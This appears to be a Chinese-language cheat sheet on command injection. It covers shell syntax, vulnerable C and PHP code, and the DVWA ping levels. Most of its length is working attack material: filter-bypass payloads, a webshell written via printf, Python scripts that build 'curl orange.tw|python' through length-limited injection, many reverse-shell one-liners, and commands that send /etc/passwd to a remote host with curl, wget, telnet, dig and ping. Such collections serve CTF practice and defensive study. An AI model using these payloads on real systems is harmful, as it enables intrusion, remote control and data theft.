巧用命令注入的N种方式

command1 && command2 [&& command3 ...]  

$ cp ~/Desktop/1.txt ~/1.txt && rm ~/Desktop/1.txt && echo "success"  

command1 || command2 [|| command3 ...]  

$ rm ~/Desktop/1.txt || echo "fail"  

echo It is now `date` 

等价于：
echo It is now 一 12月 17 12:16:04 GMT 2018

在正式执行时会产生以下输出结果：
It is now 一 12月 17 12:16:04 GMT 2018

(cd ~ ; vcgh=`pwd` ;echo $vcgh)

$ rm ~/Desktop/1.txt || (cd ~/Desktop/;ls -a;echo "fail")  

如果目录 ~/Desktop 下不存在文件 1.txt，则执行命令组合。 

#!/bin/bash(( a = 10 ))echo -e "inital value, a = $a\n"(( a++))echo "after a++, a = $a"

mkdir {userA,userB,userC}-{home,bin,data}

$ cat {/fl,/fla}{ag,g}
flag{xxx}
cat: /flg: No such file or directory
cat: /flaag: No such file or directory
flag{xxx}

$ cat /fl[0-z]g
flag{xxx}

#!/bin/bashread akif [[ $ak > 5 || $ak< 9 ]]thenecho $akfi

>      >>   <   <<   :>   &>   2&>   2<>>&   >&2

#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {
    char cat[] = "cat ";
    char *command;
    size_t commandLength;

    commandLength = strlen(cat) + strlen(argv[1]) + 1;
    command = (char *) malloc(commandLength);
    strncpy(command, cat, commandLength);
    strncat(command, argv[1], (commandLength - strlen(cat)) );

    system(command);
    return (0);
}

$ ./catWrapper Story.txt
When last we left our heroes...

$ ./catWrapper "Story.txt; ls"
When last we left our heroes...
Story.txt               doubFree.c              nullpointer.c
unstosig.c              www*                    a.out*
format.c                strlen.c                useFree*
catWrapper*             misnull.c               strlength.c             useFree.c
commandinjection.c      nodefault.c             trunc.c                 writeWhatWhere.c

int main(char* argc, char** argv) {
    char cmd[CMD_MAX] = "/usr/bin/cat ";
    strcat(cmd, argv[1]);
    system(cmd);
}

char* home=getenv("APPHOME");
char* cmd=(char*)malloc(strlen(home)+strlen(INITCMD));
if (cmd) {
    strcpy(cmd,home);
    strcat(cmd,INITCMD);
    execl(cmd, NULL);
}

 system("cd /var/yp && make &> /dev/null");

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
     char command[256];

     if(argc != 2) {
          printf("Error: Please enter a program to time!\n");
          return -1;
     }

     memset(&command, 0, sizeof(command));

     strcat(command, "time ./");
     strcat(command, argv[1]);

     system(command);
     return 0;
}

<?php
    print("Please specify the name of the file to delete");
    print("<p>");
    $file=$_GET['filename'];
    system("rm $file");
?>

http://127.0.0.1/delete.php?filename=bob.txt;id

Please specify the name of the file to delete

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

$ cat /fl??
NUAACTF{56723419231}

$ cat /???/??ss
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
_apt:x:102:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:103:107:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin

# 存在文件 a.txt 和 b.txt 和 c.txt 和 ab.txt
$ ls [ab].txt
a.txt b.txt

$ ls *[ab].txt
ab.txt a.txt b.txt

$ ls [a-c].txt
a.txt b.txt c.txt

$ ls *[a-c].txt
a.txt ab.txt abc.txt b.txt c.txt

$ echo d{a,e,i,u,o}g
dag deg dig dug dog

# 大括号可以嵌套使用
$ echo {j{p,pe}g,png}
jpg jpeg png

# {start..end}匹配连续字符
$ cat /f{0..z}ag
NUAACTF{56723419231}

# 不存在 a.txt 和 b.txt
$ ls [ab].txt
ls: [ab].txt: No such file or directory

$ ls {a,b}.txt
ls: a.txt: No such file or directory
ls: b.txt: No such file or directory

$ ls a*.txt
ab.txt

# 上面命令的执行过程是，Bash 先将a*.txt扩展成ab.txt，然后再执行ls ab.txt。

$ ls *.csv
ls: *.csv: No such file or directory

# 另外，前面已经说过，这条规则对{...}不适用

$ ls */*.txt

$ touch 'fo*'
$ ls
fo*

# 上面代码创建了一个fo*文件，这时*就是文件名的一部分。

<?php 

if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input 
    $target = $_REQUEST[ 'ip' ]; 

    // Determine OS and execute the ping command. 
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
        // Windows 
        $cmd = shell_exec( 'ping ' . $target ); 
    } 
    else { 
        // *nix 
        $cmd = shell_exec( 'ping -c 4 ' . $target ); 
    } 

    // Feedback for the end user 
    echo "<pre>{$cmd}</pre>"; 
} 

?> 

<?php 

if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input 
    $target = $_REQUEST[ 'ip' ]; 

    // Set blacklist 
    $substitutions = array( 
        '&&' => '', 
        ';'  => '', 
    ); 

    // Remove any of the charactars in the array (blacklist). 
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 

    // Determine OS and execute the ping command. 
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
        // Windows 
        $cmd = shell_exec( 'ping ' . $target ); 
    } 
    else { 
        // *nix 
        $cmd = shell_exec( 'ping -c 4 ' . $target ); 
    } 

    // Feedback for the end user 
    echo "<pre>{$cmd}</pre>"; 
} 

?> 

<?php 

if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input 
    $target = trim($_REQUEST[ 'ip' ]); 

    // Set blacklist 
    $substitutions = array( 
        '&'  => '', 
        ';'  => '', 
        '| ' => '', 
        '-'  => '', 
        '$'  => '', 
        '('  => '', 
        ')'  => '', 
        '`'  => '', 
        '||' => '', 
    ); 

    // Remove any of the charactars in the array (blacklist). 
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 

    // Determine OS and execute the ping command. 
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
        // Windows 
        $cmd = shell_exec( 'ping ' . $target ); 
    } 
    else { 
        // *nix 
        $cmd = shell_exec( 'ping -c 4 ' . $target ); 
    } 

    // Feedback for the end user 
    echo "<pre>{$cmd}</pre>"; 
} 

?> 

<?php 

if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $target = $_REQUEST[ 'ip' ]; 
    $target = stripslashes( $target ); 

    // Split the IP into 4 octects 
    $octet = explode( ".", $target ); 

    // Check IF each octet is an integer 
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { 
        // If all 4 octets are int's put the IP back together. 
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; 

        // Determine OS and execute the ping command. 
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
            // Windows 
            $cmd = shell_exec( 'ping ' . $target ); 
        } 
        else { 
            // *nix 
            $cmd = shell_exec( 'ping -c 4 ' . $target ); 
        } 

        // Feedback for the end user 
        echo "<pre>{$cmd}</pre>"; 
    } 
    else { 
        // Ops. Let the user name theres a mistake 
        echo '<pre>ERROR: You have entered an invalid IP.</pre>'; 
    } 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

%0a
%0d 
;
&
|
$(shell_command)
`shell_command`
{shell_command,}

%0a
&
|
%1a - 一个神奇的角色，作为.bat文件中的命令分隔符

<?php
$command = 'dir '.$_POST['dir'];
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');
?>

dir=../ %1a whoami

escapeshellcmd("echo ".chr(0xc0).";id");

//echo 繺;id

$ cat</flag
flag{xxx}

$ cat<>/flag
flag{xxx}

$ cat$IFS$9/flag
flag{xxx}

$ cat${IFS}/flag
flag{xxx}

$ cat$IFS/flag
flag{xxx}

$ X=$'cat\x20/flag'&&$X
flag{xxx}

$ X=$'cat\x09/flag'&&$X
flag{xxx}

#这里\x3c不可以

$ c[[email protected]](https://blog.zeddyu.info/cdn-cgi/l/email-protection)at /fl[[email protected]](https://blog.zeddyu.info/cdn-cgi/l/email-protection)ag
flag{xxx}

$ echo i[[email protected]](https://blog.zeddyu.info/cdn-cgi/l/email-protection)d
id

$ echo i[[email protected]](https://blog.zeddyu.info/cdn-cgi/l/email-protection)d|$0
uid=0(root) gid=0(root) groups=0(root)

$ a=l;b=s;$a$b
bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

$ a=c;b=at;c=flag;$a$b $c
flag{xxx}

$ echo "Y2F0IC9mbGFn"|base64 -d|bash
flag{xxx}

#base64_endcode("cat /flag") => Y2F0IC9mbGFn
#base64可能会出现/

$ echo "636174202f666c6167" | xxd -r -p|bash    #hex
flag{xxx}

$ $(printf "\154\163")                          #oct
bin  boot  dev  etc  flag  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

$ $(cat /flag)
bash: flag{xxx}: 未找到命令

$ $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
flag{xxx}

$ {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0
flag{xxx}

#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
$ {printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

$ c"a"t /f''l'a'g
flag{xxx}

$ c\a\t /f\l\ag
flag{xxx}

$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

$ echo $PATH| cut -c 1
/

* ${PS2} 对应字符 `>`
* ${PS4} 对应字符 `+`
* ${IFS} 对应 内部字段分隔符
* ${9} 对应 空字符串

$ >ec\
ho\
\ 1
#这个方法前面不需要加>，最后用\转义空格

<?php
if(strlen($_GET[1])<8){
     echo shell_exec($_GET[1]);
}
?>

?1=>hp
?1=>ell.p\\
?1=>\ sh\\
?1=>\ -O\\
?1=>com\\
?1=>x.\\
?1=>\ xx\\
?1=>wget\\
?1=ls -t>a
?1=sh a

#!/usr/bin/python3
#-*- coding: utf-8 -*- 

import requests 
def GetShell():
    url = "http://192.168.56.129/shell.php?1="
    fileNames = ["1.php","-O\ \\","cn\ \\","\ a.\\","wget\\"] 
    # linux创建中间有空格的文件名，需要转义，所以有请求"cn\ \\"
    # 可以修改hosts文件，让a.cn指向一个自己的服务器。
    # 在a.cn 的根目录下创建index.html ，内容是一个php shell 

    for fileName in fileNames:
        createFileUrl = url+">"+fileName
        print createFileUrl 
        requests.get(createFileUrl)

    getShUrl = url + "ls -t>1"
    print getShUrl
    requests.get(getShUrl)
    getShellUrl = url + "sh 1"
    print getShellUrl
    requests.get(getShellUrl)

    shellUrl = "http://192.168.56.129/1.php"
    response = requests.get(shellUrl)
    if response.status_code == 200:
        print "[*] Get shell !"
    else :
        print "[*] fail!"

if __name__ == "__main__":
    GetShell()

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

import requests
from time import sleep
from urllib import quote
payload = [
    # generate `ls -t>g` file
    '>ls\\', 
    'ls>_', 
    '>\ \\', 
    '>-t\\', 
    '>\>g', 
    'ls>>_', 
    # generate `curl orange.tw.tw>python`
    # curl shell.0xb.pw|python
    '>on', 
    '>th\\', 
    '>py\\',
    '>\|\\', 
    '>pw\\', 
    '>x.\\',
    '>xx\\', 
    '>l.\\', 
    '>el\\', 
    '>sh\\', 
    '>\ \\', 
    '>rl\\', 
    '>cu\\', 
    # exec
    'sh _', 
    'sh g', 
]
# r = requests.get('http://localhost/tmp/?reset=1')
for i in payload:
    assert len(i) <= 5 
    r = requests.get('http://localhost/tmp/?cmd=' + quote(i) )
    print i
    sleep(0.2)

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);
?>

import requests
from time import sleep
from urllib import quote

payload = [
    # generate "g> ht- sl" to file "v"
    '>dir', 
    '>sl', 
    '>g\>',
    '>ht-',
    '*>v',

    # reverse file "v" to file "x", content "ls -th >g"
    '>rev',
    '*v>x',

    # generate "curl orange.tw|python;"
    '>\;\\', 
    '>on\\', 
    '>th\\', 
    '>py\\', 
    '>\|\\', 
    '>tw\\',
    '>e.\\', 
    '>ng\\', 
    '>ra\\', 
    '>o\\', 
    '>\ \\', 
    '>rl\\', 
    '>cu\\', 

    # got shell
    'sh x', 
    'sh g', 
]


r = requests.get('http://52.197.41.31/?reset=1')
for i in payload:
    assert len(i) <= 4
    r = requests.get('http://52.197.41.31/?cmd=' + quote(i) )
    print i
    sleep(0.1)

curl "http://testhash.test.dnslog.link/?`whoami`"

Only OB DNS traffic (UDP/53) allowed and can exec commands? Use 
dig `cut -d: -s -f1 /etc/passwd | sed 10\!d` @ip
to offload file contents.

nc -l -n -vv -p 53 -u -k(如果不支持-k也可以不用-k)

{dig,`{cut,-d:,-s,-f1,/etc/passwd}|{sed,2\!d}`,@ip}

$ time ruby ping.rb '8.8.8.8'
PING 8.8.8.8 (8.8.8.8): 56 data bytes
...
0.09s user 0.04s system 4% cpu 3.176 total

$ time ruby ping.rb '8.8.8.8 && sleep 5'
PING 8.8.8.8 (8.8.8.8): 56 data bytes
...
0.10s user 0.04s system 1% cpu 8.182 total

sleep $(hostname | cut -c 1 | tr a 5)

$ time ruby server-online.rb '8.8.8.8 && sleep $(hostname | wc -c)'
yes
0.10s user 0.04s system 0% cpu 16.188 total

bash -c "sh >& /dev/tcp/your ip/port 0>&1"

$ exec 5<>/dev/tcp/ip/port

$ cat <&5 | while read line; do $line 2>&5 >&5; done

nc -l -vv -p port

nc -e /bin/bash ip port

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f

mknod backpipe p && nc ip port 0<backpipe | /bin/bash 1>backpipe

/bin/sh | nc 受害者ip port     #这个比较特殊,需要在你自己的机器上运行

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('ip',port))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'

lua -e "require('socket');require('os');t=socket.tcp();t:connect('ip','port');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#需要lua socket支持，且lua5.2+不支持luasocket

SHELL=/bin/bash
* * * * * /bin/bash -i >& /dev/tcp/ip/port 0>&1

mknod backpipe p && telnet ip port 0<backpipe | /bin/bash 1>backpipe

ping -c 4 8.8.8.8;hostname|{nc,ip,port}

nc -lvp port < /etc/passwd

curl http://ip:port -F a=@/etc/passwd

wget --post-data="`cat /etc/passwd`" http://ip:port

wget --post-file=/etc/passwd http://ip:port

telnet 106.14.153.173 2015 < /etc/passwd

cat password.txt | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 xxx.xxx.xxx.xxx; done

$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")    #可以执行